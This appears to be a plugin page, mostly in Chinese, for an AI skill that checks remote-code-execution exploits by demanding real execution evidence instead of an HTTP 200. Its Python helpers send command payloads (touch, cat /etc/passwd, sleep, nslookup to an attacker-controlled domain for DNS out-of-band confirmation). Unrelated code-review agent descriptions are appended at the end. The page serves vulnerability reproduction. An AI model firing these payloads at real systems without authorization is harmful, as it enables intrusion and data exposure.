> **核心原则**:HTTP 200 响应 ≠ 代码执行成功,必须有实际的代码执行证据
Validates RCE exploits by verifying actual code execution evidence beyond HTTP 200 responses.
/plugin marketplace add Clouditera/AI-Vuln-Reproduce/plugin install clouditera-vuln-reproduce@Clouditera/AI-Vuln-Reproduce核心原则:HTTP 200 响应 ≠ 代码执行成功,必须有实际的代码执行证据
错误的判定逻辑:
1. 发送包含 payload 的 HTTP 请求
2. 收到 HTTP 200 响应
3. 页面正常渲染
4. 判定: "复现成功"
问题:
- HTTP 200 只表示服务器正常响应
- 不能证明 payload 被执行
- 实际上代码根本没有执行
正确的判定应该:
- 检查预期的副作用是否发生
- 例如:文件是否创建、命令输出是否返回
| 证据类型 | 说明 | 验证方法 |
|---|---|---|
| 文件创建/修改 | 命令创建或修改了文件 | 检查文件是否存在 |
| 命令输出返回 | 响应中包含命令输出 | 检查响应内容 |
| DNS 外带 | 命令触发 DNS 请求 | 检查 DNS 日志 |
| HTTP 外带 | 命令触发 HTTP 请求 | 检查 HTTP 日志 |
| 延时响应 | 命令导致延时 | 对比响应时间 |
| 进程创建 | 命令创建了进程 | 检查进程列表 |
| 错误证据 | 原因 |
|---|---|
| HTTP 200 响应 | 只表示服务器正常,不表示代码执行 |
| 页面正常渲染 | 不能证明 payload 被处理 |
| 无报错信息 | 可能是 payload 根本没到达 sink |
| 响应时间正常 | 不能证明任何事情 |
def verify_rce_file_creation(target_url, payload_template):
"""
通过创建文件验证 RCE
"""
import uuid
import requests
# 生成唯一标识
marker = str(uuid.uuid4())
test_file = f"/tmp/rce_test_{marker}"
# 构造创建文件的 payload
command = f"touch {test_file} && echo '{marker}' > {test_file}"
payload = payload_template.format(command=command)
# 发送请求
response = requests.get(f"{target_url}?{payload}")
# 检查文件是否创建(需要服务器访问权限)
# 或者通过读取文件内容的 payload 验证
verify_command = f"cat {test_file}"
verify_payload = payload_template.format(command=verify_command)
verify_response = requests.get(f"{target_url}?{verify_payload}")
if marker in verify_response.text:
return {
'success': True,
'evidence_type': 'file_creation',
'evidence': f'文件 {test_file} 创建成功,内容包含 marker'
}
return {
'success': False,
'reason': '文件未创建或无法读取'
}
def verify_rce_command_output(response, command):
"""
检查响应中是否包含命令输出
"""
expected_outputs = {
'id': ['uid=', 'gid='],
'whoami': ['root', 'www-data', 'node', 'app'],
'hostname': [], # 需要预先知道主机名
'pwd': ['/'],
'cat /etc/passwd': ['root:', 'nobody:'],
'uname -a': ['Linux', 'Darwin', 'Windows']
}
if command in expected_outputs:
for pattern in expected_outputs[command]:
if pattern in response.text:
return {
'success': True,
'evidence_type': 'command_output',
'evidence': f'响应包含命令输出特征: {pattern}'
}
return {
'success': False,
'reason': '响应中未发现命令输出'
}
def verify_rce_dns_exfil(target_url, payload_template, dns_domain):
"""
通过 DNS 外带验证 RCE
"""
import uuid
# 生成唯一标识
marker = str(uuid.uuid4()).replace('-', '')[:8]
dns_subdomain = f"{marker}.{dns_domain}"
# 构造 DNS 请求的 payload
command = f"nslookup {dns_subdomain}" # 或 ping, curl, wget
payload = payload_template.format(command=command)
# 发送请求
response = requests.get(f"{target_url}?{payload}")
# 检查 DNS 服务器日志是否收到请求
# 这需要控制 dns_domain 的 DNS 服务器
dns_received = check_dns_log(dns_subdomain)
if dns_received:
return {
'success': True,
'evidence_type': 'dns_exfil',
'evidence': f'DNS 服务器收到 {dns_subdomain} 查询'
}
return {
'success': False,
'reason': 'DNS 服务器未收到请求'
}
def verify_rce_time_delay(target_url, payload_template):
"""
通过延时验证 RCE
"""
import time
# 构造延时命令
delay_seconds = 5
command = f"sleep {delay_seconds}"
payload = payload_template.format(command=command)
# 发送正常请求测量基准时间
start = time.time()
normal_response = requests.get(target_url)
baseline_time = time.time() - start
# 发送延时 payload
start = time.time()
delay_response = requests.get(f"{target_url}?{payload}")
delay_time = time.time() - start
# 判断是否有明显延时
if delay_time > baseline_time + delay_seconds - 1:
return {
'success': True,
'evidence_type': 'time_delay',
'evidence': f'响应延时 {delay_time:.1f}s(基准 {baseline_time:.1f}s,预期延时 {delay_seconds}s)'
}
return {
'success': False,
'reason': f'响应时间 {delay_time:.1f}s 未明显延长'
}
在声称 RCE 成功前,必须验证预期的副作用确实发生:
正面验证(不足够):
- 发送 payload
- 收到响应
- 判定成功
负面验证(必须):
- 发送 payload
- 收到响应
- 检查副作用是否发生 ← 关键!
- 文件是否创建?
- 命令输出是否返回?
- DNS 请求是否发出?
- 副作用发生 → 成功
- 副作用未发生 → 失败(即使 HTTP 200)
def negative_verification(payload_type, result):
"""
执行负面验证
"""
checks = {
'file_creation': lambda r: check_file_exists(r['test_file']),
'command_output': lambda r: check_output_in_response(r['response'], r['expected']),
'dns_exfil': lambda r: check_dns_log(r['subdomain']),
'http_exfil': lambda r: check_http_log(r['url']),
'time_delay': lambda r: r['delay_time'] > r['expected_delay'] * 0.8
}
if payload_type not in checks:
return {'valid': False, 'reason': f'未知验证类型: {payload_type}'}
check_func = checks[payload_type]
if check_func(result):
return {'valid': True, 'evidence': '负面验证通过'}
else:
return {
'valid': False,
'reason': '负面验证失败:预期副作用未发生',
'conclusion': '尽管 HTTP 响应正常,但代码未实际执行'
}
构造 RCE payload
↓
选择验证方法
├─ 文件创建(推荐)
├─ 命令输出
├─ DNS 外带
├─ HTTP 外带
└─ 延时验证
↓
发送攻击请求
↓
收到 HTTP 响应
↓
执行负面验证 ← 关键步骤!
├─ 副作用发生 → 确认 RCE 成功
└─ 副作用未发生 → RCE 失败(即使 200)
↓
记录证据
↓
输出结论
def verify_rce(response, payload_info):
"""
验证远程代码执行 - 严格版
必须有实际执行证据,HTTP 200 不算成功
"""
# 1. 检查命令输出(如果 payload 设计为返回输出)
if payload_info.get('expect_output'):
expected = payload_info['expect_output']
if expected in response.text:
return {
'success': True,
'evidence_type': 'command_output',
'evidence': f'响应包含预期输出: {expected[:100]}'
}
# 2. 检查延时(如果使用延时 payload)
if payload_info.get('delay_seconds'):
expected_delay = payload_info['delay_seconds']
actual_delay = response.elapsed.total_seconds()
if actual_delay >= expected_delay * 0.8:
return {
'success': True,
'evidence_type': 'time_delay',
'evidence': f'响应延时 {actual_delay:.1f}s(预期 {expected_delay}s)'
}
# 3. 检查文件创建(需要额外请求验证)
if payload_info.get('test_file'):
file_exists = verify_file_creation(
payload_info['base_url'],
payload_info['test_file'],
payload_info['payload_template']
)
if file_exists:
return {
'success': True,
'evidence_type': 'file_creation',
'evidence': f'文件 {payload_info["test_file"]} 创建成功'
}
# 4. 仅有 HTTP 200 不能判定成功
if response.status_code == 200:
return {
'success': False,
'reason': 'HTTP 200 但无代码执行证据',
'note': '需要负面验证:检查文件创建/命令输出/DNS外带'
}
# 5. 其他情况
return {
'success': False,
'reason': f'HTTP {response.status_code},无代码执行证据'
}
## RCE 验证证据
### Payload 信息
- **类型**: {file_creation/command_output/dns_exfil/time_delay}
- **命令**: {executed_command}
- **编码方式**: {base64/url_encode/none}
### 请求信息
```http
{完整的 HTTP 请求}
{完整的 HTTP 响应}
---
## 禁止的判定行为
1. **禁止**: 仅凭 HTTP 200 判定 RCE 成功
2. **禁止**: 假设 payload 被执行而不验证
3. **禁止**: 跳过负面验证步骤
4. **禁止**: 使用「页面正常」作为成功证据
5. **禁止**: 忽略文件是否真的被创建
---
## 总结
| 条件 | 判定 |
|------|------|
| HTTP 200 + 无执行证据 | **失败** |
| HTTP 200 + 命令输出返回 | 成功 |
| HTTP 200 + 文件创建验证通过 | 成功 |
| HTTP 200 + DNS 外带确认 | 成功 |
| HTTP 200 + 明显延时 | 成功 |
| HTTP 500 + 执行证据 | 成功(但记录异常) |
| HTTP 4xx | 失败 |
Use this agent when you need to review code for adherence to project guidelines, style guides, and best practices. This agent should be used proactively after writing or modifying code, especially before committing changes or creating pull requests. It will check for style violations, potential issues, and ensure code follows the established patterns in CLAUDE.md. Also the agent needs to know which files to focus on for the review. In most cases this will recently completed work which is unstaged in git (can be retrieved by doing a git diff). However there can be cases where this is different, make sure to specify this as the agent input when calling the agent. Examples: <example> Context: The user has just implemented a new feature with several TypeScript files. user: "I've added the new authentication feature. Can you check if everything looks good?" assistant: "I'll use the Task tool to launch the code-reviewer agent to review your recent changes." <commentary> Since the user has completed a feature and wants validation, use the code-reviewer agent to ensure the code meets project standards. </commentary> </example> <example> Context: The assistant has just written a new utility function. user: "Please create a function to validate email addresses" assistant: "Here's the email validation function:" <function call omitted for brevity> assistant: "Now I'll use the Task tool to launch the code-reviewer agent to review this implementation." <commentary> Proactively use the code-reviewer agent after writing new code to catch issues early. </commentary> </example> <example> Context: The user is about to create a PR. user: "I think I'm ready to create a PR for this feature" assistant: "Before creating the PR, I'll use the Task tool to launch the code-reviewer agent to ensure all code meets our standards." <commentary> Proactively review code before PR creation to avoid review comments and iterations. </commentary> </example>
You are an expert code simplification specialist focused on enhancing code clarity, consistency, and maintainability while preserving exact functionality. Your expertise lies in applying project-specific best practices to simplify and improve code without altering its behavior. You prioritize readable, explicit code over overly compact solutions. This is a balance that you have mastered as a result your years as an expert software engineer.
Use this agent when you need to analyze code comments for accuracy, completeness, and long-term maintainability. This includes: (1) After generating large documentation comments or docstrings, (2) Before finalizing a pull request that adds or modifies comments, (3) When reviewing existing comments for potential technical debt or comment rot, (4) When you need to verify that comments accurately reflect the code they describe. <example> Context: The user is working on a pull request that adds several documentation comments to functions. user: "I've added documentation to these functions. Can you check if the comments are accurate?" assistant: "I'll use the comment-analyzer agent to thoroughly review all the comments in this pull request for accuracy and completeness." <commentary> Since the user has added documentation comments and wants them checked, use the comment-analyzer agent to verify their accuracy against the actual code. </commentary> </example> <example> Context: The user just asked to generate comprehensive documentation for a complex function. user: "Add detailed documentation for this authentication handler function" assistant: "I've added the documentation. Now let me use the comment-analyzer agent to verify that the comments are accurate and helpful for long-term maintenance." <commentary> After generating large documentation comments, proactively use the comment-analyzer to ensure quality. </commentary> </example> <example> Context: The user is preparing to create a pull request with multiple code changes and comments. user: "I think we're ready to create the PR now" assistant: "Before creating the pull request, let me use the comment-analyzer agent to review all the comments we've added or modified to ensure they're accurate and won't create technical debt." <commentary> Before finalizing a PR, use the comment-analyzer to review all comment changes. </commentary> </example>